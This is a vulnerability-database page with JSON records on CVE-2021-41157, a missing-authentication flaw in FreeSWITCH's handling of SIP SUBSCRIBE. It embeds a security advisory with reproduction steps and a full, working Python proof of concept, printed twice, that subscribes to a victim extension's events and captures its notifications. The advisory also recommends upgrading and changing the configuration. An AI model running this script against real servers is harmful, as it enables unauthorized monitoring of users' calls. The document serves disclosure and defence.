DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-36955", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "FreeSWITCH 1.10.5 SIP SUBSCRIBE Missing Authentication Exploit", "description": "", "published": "2021-10-26T00:00:00", "modified": "2021-10-26T00:00:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0}, "severity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, "href": "https://0day.today/exploit/description/36955", "reporter": "Sandro Gauci", "references": [], "cvelist": ["CVE-2021-41157"], "immutableFields": [], "lastseen": "2022-04-04T20:23:38", "viewCount": 184, "enchantments": {"dependencies": {"references": [{"type": "alpinelinux", "idList": ["ALPINE:CVE-2021-41157"]}, {"type": "cve", "idList": ["CVE-2021-41157"]}, {"type": "githubexploit", "idList": ["0BF72729-44F7-545C-8475-3FBEB99370C9"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164638"]}], "rev": 4}, "score": {"value": 5.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "alpinelinux", "idList": ["ALPINE:CVE-2021-41157"]}, {"type": "cve", "idList": ["CVE-2021-41157"]}, {"type": "githubexploit", "idList": ["0BF72729-44F7-545C-8475-3FBEB99370C9"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164638"]}]}, "exploitation": null, "vulnersScore": 5.1}, "_state": {"dependencies": 0}, "_internal": {}, "sourceHref": "https://0day.today/exploit/36955", "sourceData": "# FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default\n\n- Fixed versions: v1.10.7\n- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-08-freeswitch-SIP-SUBSCRIBE-without-auth\n- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-g7xg-7c54-rmpj\n- Other references: CVE-2021-41157\n- Tested vulnerable versions: <= v1.10.5\n- Timeline:\n - Report date: 2021-06-07\n - Triaged: 2021-06-08\n - Fix provided for testing: 2021-10-01\n - Vendor release with fix: 2021-10-24\n - Enable Security advisory: 2021-10-25\n\n## Description\n\nBy default, SIP requests of the type SUBSCRIBE are not authenticated in the affected versions of FreeSWITCH. Although this issue was [fixed][1] in version v1.10.6, installations upgraded to the fixed version of FreeSWITCH from an older version, may still be vulnerable if the configuration is not updated accordingly. For good reason, by default, software upgrades do not update the configuration.\n\n[1]: https://github.com/signalwire/freeswitch/commit/b21dd4e7f3a6f1d5f7be3ea500a319a5bc11db9e\n\n## Impact\n\nAbuse of this security issue allows attackers to subscribe to user agent event notifications without the need to authenticate. This abuse poses privacy concerns and might lead to social engineering or similar attacks. For example, attackers may be able to monitor the status of target SIP extensions.\n\n## How to reproduce the issue\n\n1. Install FreeSWITCH v1.10.5 or lower\n2. Run FreeSWITCH using the default configuration\n3. Register as a legitimate SIP user on the FreeSWITCH server using a softphone (e.g. sip:[email\u00a0protected] where 192.168.188.128 is your FreeSWITCH server)\n4. Save the below Python script to `anon-subscribe.py`\n5. Run the script from an IP address that is different from that of the softphone `python anon-subscribe.py <freeswitch_ip> <freeswitch_port> <victim_extension>`\n6. Perform some operations using the softphone, such as deregistering, registering, and placing a call\n7. Observe that several notifications are received by the script, exposing the actions being performed by the victim\n\n```python\nimport socket, string, random, re, sys\n\nUDP_IP = sys.argv[1]\nUDP_PORT = int(sys.argv[2])\nEXT = sys.argv[3]\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nmsg_template = \"SUBSCRIBE sip:%[email\u00a0protected]%s;transport=UDP SIP/2.0\\r\\n\" % (EXT, UDP_IP) + \\\n \"Via: SIP/2.0/UDP [ip]:[port];rport;branch=z9hG4bK-[rand]\\r\\n\" \\\n \"Max-Forwards: 70\\r\\n\" \\\n \"Contact: <sip:%[email\u00a0protected][ip]:[port];transport=udp>\\r\\n\" % (EXT, ) + \\\n \"To: <sip:%[email\u00a0protected]%s;transport=UDP>\\r\\n\" % (EXT, UDP_IP) + \\\n \"From: <sip:[email\u00a0protected]%s;transport=UDP>;tag=[rand]\\r\\n\" % (UDP_IP, ) + \\\n \"Call-ID: [rand]\\r\\n\" \\\n \"CSeq: 1 SUBSCRIBE\\r\\n\" \\\n \"Expires: 600\\r\\n\" \\\n \"Accept: */*\\r\\n\" \\\n \"Event: [event]\\r\\n\" \\\n \"Content-Length: 0\\r\\n\" \\\n \"\\r\\n\"\n\nrand = ''.join(random.choice(string.ascii_letters) for i in range(16))\nmsg = msg_template.replace('[ip]', '127.0.0.1') \\\n .replace('[port]', '9999') \\\n .replace('[event]', 'dialog') \\\n .replace('[rand]', rand)\n\nsock.sendto(msg.encode(), (UDP_IP, UDP_PORT))\n\nrecv=sock.recv(10240).decode()\n\n# get rport and received from Via header\nrport=re.search( r'rport=([0-9]+)', recv, re.MULTILINE).group(1)\nreceived=re.search( r'received=([0-9\\.]+)', recv, re.MULTILINE).group(1)\n\nevents = [\n 'talk', 'hold', 'conference', 'presence', 'as-feature-event', 'dialog', 'line-seize', \n 'call-info', 'sla', 'include-session-description', 'presence.winfo', 'message-summary', \n 'refer']\n\nfor event in events:\n rand = ''.join(random.choice(string.ascii_letters) for i in range(16))\n msg = msg_template.replace('[ip]', received) \\\n .replace('[port]', rport) \\\n .replace('[event]', event) \\\n .replace('[rand]', rand)\n sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))\n\nwhile True:\n print(sock.recv(10240).decode().split('\\r\\n\\r\\n')[1])\n```\n\n## Solution and recommendations\n\nUpgrade to a version of FreeSWITCH that fixes this issue.\n\nOur suggestion to the FreeSWITCH developers was the following:\n\n> Our recommendation is that SIP SUBSCRIBE messages are authenticated by default so that FreeSWITCH administrators do not need to explicitly set the `auth-subscriptions` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication.\n", "category": "web applications", "verified": true}

{"alpinelinux": [{"lastseen": "2022-06-22T18:33:01", "description": "FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. By default, SIP requests of the type SUBSCRIBE are not authenticated in the affected versions of FreeSWITCH. Abuse of this security issue allows attackers to subscribe to user agent event notifications without the need to authenticate. This abuse poses privacy concerns and might lead to social engineering or similar attacks. For example, attackers may be able to monitor the status of target SIP extensions. Although this issue was fixed in version v1.10.6, installations upgraded to the fixed version of FreeSWITCH from an older version, may still be vulnerable if the configuration is not updated accordingly. Software upgrades do not update the configuration by default. SIP SUBSCRIBE messages should be authenticated by default so that FreeSWITCH administrators do not need to explicitly set the `auth-subscriptions` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-10-26T14:15:00", "type": "alpinelinux", "title": "CVE-2021-41157", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-41157"], "modified": "2021-10-28T21:53:00", "id": "ALPINE:CVE-2021-41157", "href": "https://security.alpinelinux.org/vuln/CVE-2021-41157", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "veracode": [{"lastseen": "2022-05-18T01:14:24", "description": "freeswitch is vulnerable to privilege escalation. The vulnerability exists due to SIP requests of the type SUBSCRIBE are not authenticated by default. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-11-05T10:27:37", "type": "veracode", "title": "Privilege Escalation", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-41157"], "modified": "2021-11-13T02:16:57", "id": "VERACODE:32827", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32827/summary", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "cve": [{"lastseen": "2022-03-23T19:14:37", "description": "FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. By default, SIP requests of the type SUBSCRIBE are not authenticated in the affected versions of FreeSWITCH. Abuse of this security issue allows attackers to subscribe to user agent event notifications without the need to authenticate. This abuse poses privacy concerns and might lead to social engineering or similar attacks. For example, attackers may be able to monitor the status of target SIP extensions. Although this issue was fixed in version v1.10.6, installations upgraded to the fixed version of FreeSWITCH from an older version, may still be vulnerable if the configuration is not updated accordingly. Software upgrades do not update the configuration by default. SIP SUBSCRIBE messages should be authenticated by default so that FreeSWITCH administrators do not need to explicitly set the `auth-subscriptions` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-10-26T14:15:00", "type": "cve", "title": "CVE-2021-41157", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-41157"], "modified": "2021-10-28T21:53:00", "cpe": [], "id": "CVE-2021-41157", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-41157", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": []}], "packetstorm": [{"lastseen": "2021-10-25T17:33:11", "description": "", "cvss3": {}, "published": "2021-10-25T00:00:00", "type": "packetstorm", "title": "FreeSWITCH 1.10.5 SIP SUBSCRIBE Missing Authentication", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-41157"], "modified": "2021-10-25T00:00:00", "id": "PACKETSTORM:164638", "href": "https://packetstormsecurity.com/files/164638/FreeSWITCH-1.10.5-SIP-SUBSCRIBE-Missing-Authentication.html", "sourceData": "`# FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default \n \n- Fixed versions: v1.10.7 \n- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-08-freeswitch-SIP-SUBSCRIBE-without-auth \n- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-g7xg-7c54-rmpj \n- Other references: CVE-2021-41157 \n- Tested vulnerable versions: <= v1.10.5 \n- Timeline: \n- Report date: 2021-06-07 \n- Triaged: 2021-06-08 \n- Fix provided for testing: 2021-10-01 \n- Vendor release with fix: 2021-10-24 \n- Enable Security advisory: 2021-10-25 \n \n## Description \n \nBy default, SIP requests of the type SUBSCRIBE are not authenticated in the affected versions of FreeSWITCH. Although this issue was [fixed][1] in version v1.10.6, installations upgraded to the fixed version of FreeSWITCH from an older version, may still be vulnerable if the configuration is not updated accordingly. For good reason, by default, software upgrades do not update the configuration. \n \n[1]: https://github.com/signalwire/freeswitch/commit/b21dd4e7f3a6f1d5f7be3ea500a319a5bc11db9e \n \n## Impact \n \nAbuse of this security issue allows attackers to subscribe to user agent event notifications without the need to authenticate. This abuse poses privacy concerns and might lead to social engineering or similar attacks. For example, attackers may be able to monitor the status of target SIP extensions. \n \n## How to reproduce the issue \n \n1. Install FreeSWITCH v1.10.5 or lower \n2. Run FreeSWITCH using the default configuration \n3. Register as a legitimate SIP user on the FreeSWITCH server using a softphone (e.g. sip:1000@192.168.188.128 where 192.168.188.128 is your FreeSWITCH server) \n4. Save the below Python script to `anon-subscribe.py` \n5. Run the script from an IP address that is different from that of the softphone `python anon-subscribe.py <freeswitch_ip> <freeswitch_port> <victim_extension>` \n6. Perform some operations using the softphone, such as deregistering, registering, and placing a call \n7. Observe that several notifications are received by the script, exposing the actions being performed by the victim \n \n```python \nimport socket, string, random, re, sys \n \nUDP_IP = sys.argv[1] \nUDP_PORT = int(sys.argv[2]) \nEXT = sys.argv[3] \nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) \n \nmsg_template = \"SUBSCRIBE sip:%s@%s;transport=UDP SIP/2.0\\r\\n\" % (EXT, UDP_IP) + \\ \n\"Via: SIP/2.0/UDP [ip]:[port];rport;branch=z9hG4bK-[rand]\\r\\n\" \\ \n\"Max-Forwards: 70\\r\\n\" \\ \n\"Contact: <sip:%s@[ip]:[port];transport=udp>\\r\\n\" % (EXT, ) + \\ \n\"To: <sip:%s@%s;transport=UDP>\\r\\n\" % (EXT, UDP_IP) + \\ \n\"From: <sip:9999@%s;transport=UDP>;tag=[rand]\\r\\n\" % (UDP_IP, ) + \\ \n\"Call-ID: [rand]\\r\\n\" \\ \n\"CSeq: 1 SUBSCRIBE\\r\\n\" \\ \n\"Expires: 600\\r\\n\" \\ \n\"Accept: */*\\r\\n\" \\ \n\"Event: [event]\\r\\n\" \\ \n\"Content-Length: 0\\r\\n\" \\ \n\"\\r\\n\" \n \nrand = ''.join(random.choice(string.ascii_letters) for i in range(16)) \nmsg = msg_template.replace('[ip]', '127.0.0.1') \\ \n.replace('[port]', '9999') \\ \n.replace('[event]', 'dialog') \\ \n.replace('[rand]', rand) \n \nsock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) \n \nrecv=sock.recv(10240).decode() \n \n# get rport and received from Via header \nrport=re.search( r'rport=([0-9]+)', recv, re.MULTILINE).group(1) \nreceived=re.search( r'received=([0-9\\.]+)', recv, re.MULTILINE).group(1) \n \nevents = [ \n'talk', 'hold', 'conference', 'presence', 'as-feature-event', 'dialog', 'line-seize', \n'call-info', 'sla', 'include-session-description', 'presence.winfo', 'message-summary', \n'refer'] \n \nfor event in events: \nrand = ''.join(random.choice(string.ascii_letters) for i in range(16)) \nmsg = msg_template.replace('[ip]', received) \\ \n.replace('[port]', rport) \\ \n.replace('[event]', event) \\ \n.replace('[rand]', rand) \nsock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) \n \nwhile True: \nprint(sock.recv(10240).decode().split('\\r\\n\\r\\n')[1]) \n``` \n \n## Solution and recommendations \n \nUpgrade to a version of FreeSWITCH that fixes this issue. \n \nOur suggestion to the FreeSWITCH developers was the following: \n \n> Our recommendation is that SIP SUBSCRIBE messages are authenticated by default so that FreeSWITCH administrators do not need to explicitly set the `auth-subscriptions` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication. \n \n## About Enable Security \n \n[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. \n \n## Disclaimer \n \nThe information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. \n \n## Disclosure policy \n \nThis report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>. \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/164638/ES2021-08.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "githubexploit": [{"lastseen": "2022-02-23T18:02:37", "description": "# PewSWITCH\nA FreeSWITCH specific scanning and exploitation tool...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-11-28T13:12:38", "type": "githubexploit", "title": "Exploit for Improper Authentication in Freeswitch", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27624", "CVE-2021-41157", "CVE-2021-37624"], "modified": "2022-02-23T15:31:41", "id": "0BF72729-44F7-545C-8475-3FBEB99370C9", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "privateArea": 1}]}